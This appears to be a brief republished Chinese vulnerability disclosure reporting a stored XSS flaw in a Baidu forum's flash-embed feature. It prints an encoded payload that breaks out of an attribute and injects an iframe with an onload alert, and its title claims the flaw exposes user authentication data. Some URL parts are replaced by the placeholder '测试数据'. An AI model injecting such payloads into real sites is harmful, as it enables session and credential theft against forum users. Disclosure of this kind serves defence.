百度某论坛某处储存xss可获取用户认证信息 - 网

http://anquan.baidu测试数据/bbs/ 注册用户发帖

 

在发表帖子时找flash处

 

插入编码好的xss

 

http://1测试数据\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e/1.swf[/flash] 

 

 

查看更多关于百度某论坛某处储存xss可获取用户认证信息 - 网的详细内容...